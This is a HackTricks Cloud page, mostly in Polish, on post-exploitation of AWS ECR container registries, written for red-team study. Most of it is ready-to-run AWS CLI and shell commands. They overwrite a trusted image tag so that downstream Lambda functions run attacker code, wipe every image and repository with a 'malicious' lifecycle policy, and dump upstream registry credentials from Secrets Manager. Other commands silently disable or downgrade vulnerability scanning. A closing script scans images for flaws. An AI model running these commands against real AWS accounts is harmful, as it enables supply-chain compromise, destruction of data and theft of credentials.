AWS - ECR Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
ECR
Aby uzyskać więcej informacji, zobacz
Login, Pull & Push
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
Po pobraniu obrazów należy sprawdzić je pod kątem wrażliwych informacji:
Overwrite a Trusted Tag via ecr:PutImage (Tag Hijacking / Supply Chain)
Jeśli konsumenci wdrażają na podstawie tagu (na przykład stable, prod, latest) i tagi są modyfikowalne, ecr:PutImage może być użyte do przekierowania zaufanego tagu na zawartość kontrolowaną przez atakującego poprzez przesłanie manifestu obrazu pod tym tagiem.
Jednym z powszechnych podejść jest skopiowanie manifestu istniejącego tagu kontrolowanego przez atakującego (or digest) i nadpisanie nim zaufanego tagu.
REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
DST_TAG="stable" # trusted tag used by downstream systems
# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"
# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"
# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
Wpływ: dowolny workload pobierający .../$REPO:$DST_TAG otrzyma zawartość wybraną przez atakującego bez żadnych zmian w IaC, Kubernetes manifests lub task definitions.
Przykład konsumenta downstream: Lambda Container Images automatycznie odświeżane po aktualizacjach tagów
Jeśli funkcja Lambda jest wdrożona jako container image (PackageType=Image) i używa ECR tag (np. :stable, :prod) zamiast digestu, nadpisanie tego tagu może przekształcić manipulację supply-chain w code execution inside the Lambda execution role po odświeżeniu funkcji.
Jak zidentyfikować tę sytuację:
REGION=us-east-1
# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done
# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
Jak często dochodzi do odświeżenia:
- CI/CD lub GitOps regularnie wywołuje
lambda:UpdateFunctionCode(nawet z tym samymImageUri), aby zmusić Lambda do ponownego rozwiązania taga. - Automatyzacja zdarzeniowa nasłuchuje zdarzeń obrazu ECR (push/aktualizacje taga) i uruchamia odświeżającą funkcję Lambda/automatyzację.
Jeśli możesz nadpisać zaufany tag i istnieje mechanizm odświeżania, następne wywołanie funkcji uruchomi kod kontrolowany przez atakującego, który będzie mógł odczytać zmienne środowiskowe, uzyskać dostęp do zasobów sieciowych oraz wywoływać API AWS przy użyciu roli Lambda (na przykład secretsmanager:GetSecretValue).
ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage
Atakujący posiadający któreś z tych uprawnień może utworzyć lub zmodyfikować lifecycle policy, aby usunąć wszystkie obrazy w repozytorium i następnie usunąć całe repozytorium ECR. Spowodowałoby to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium.
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json
# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force
# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
Jeśli ECR Pull‑Through Cache jest skonfigurowany dla uwierzytelnionych upstream registries (Docker Hub, GHCR, ACR itp.), upstream credentials są przechowywane w AWS Secrets Manager z przewidywalnym prefiksem nazwy: ecr-pullthroughcache/. Operatorzy czasami przyznają ECR admins szeroki dostęp do odczytu w AWS Secrets Manager, co umożliwia credential exfiltration i ponowne użycie poza AWS.
Wymagania
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Wylistuj potencjalne PTC secrets
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
Zrzut odkrytych sekretów i parsowanie wspólnych pól
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
Opcjonalnie: zweryfikuj leaked creds wobec upstream (read‑only login)
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
Impact
- Odczytanie tych wpisów Secrets Manager ujawnia wielokrotnego użytku poświadczenia rejestru upstream (username/password lub token), które mogą być wykorzystane poza AWS do pobierania prywatnych obrazów lub uzyskania dostępu do dodatkowych repozytoriów w zależności od uprawnień upstream.
Registry-level stealth: disable or downgrade scanning via ecr:PutRegistryScanningConfiguration
Atakujący posiadający uprawnienia ECR na poziomie rejestru może cicho zmniejszyć lub wyłączyć automatyczne skanowanie podatności dla WSZYSTKICH repozytoriów, ustawiając konfigurację skanowania rejestru na BASIC bez reguł scan-on-push. To zapobiega automatycznemu skanowaniu nowych pushy obrazów, ukrywając podatne lub złośliwe obrazy.
Requirements
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
Registry-wide downgrade to manual (no auto scans)
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"
# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'
Test z repo i image
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
Opcjonalnie: dalsze obniżenie na poziomie repo
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false
Wpływ
- Nowe przesyłania obrazów do rejestru nie są skanowane automatycznie, co zmniejsza widoczność podatnych lub złośliwych treści i opóźnia wykrycie do czasu ręcznego uruchomienia skanu.
Registry‑wide scanning engine downgrade via ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)
Obniża jakość wykrywania podatności w całym rejestrze przez zmianę silnika skanowania BASIC z domyślnego AWS_NATIVE na starszy silnik CLAIR. To nie wyłącza skanowania, ale może znacząco zmienić wyniki/zakres wykryć. Połącz to z konfiguracją skanowania rejestru BASIC bez reguł, aby skany były wyłącznie ręczne.
Wymagania
ecr:PutAccountSetting,ecr:GetAccountSetting- (Opcjonalnie)
ecr:PutRegistryScanningConfiguration,ecr:GetRegistryScanningConfiguration
Wpływ
- Ustawienie rejestru
BASIC_SCAN_TYPE_VERSIONnaCLAIR, więc kolejne skany BASIC będą uruchamiane przy użyciu obniżonego silnika. CloudTrail rejestruje wywołanie APIPutAccountSetting.
Kroki
REGION=us-east-1
# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
Skanuj obrazy ECR w poszukiwaniu podatności
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

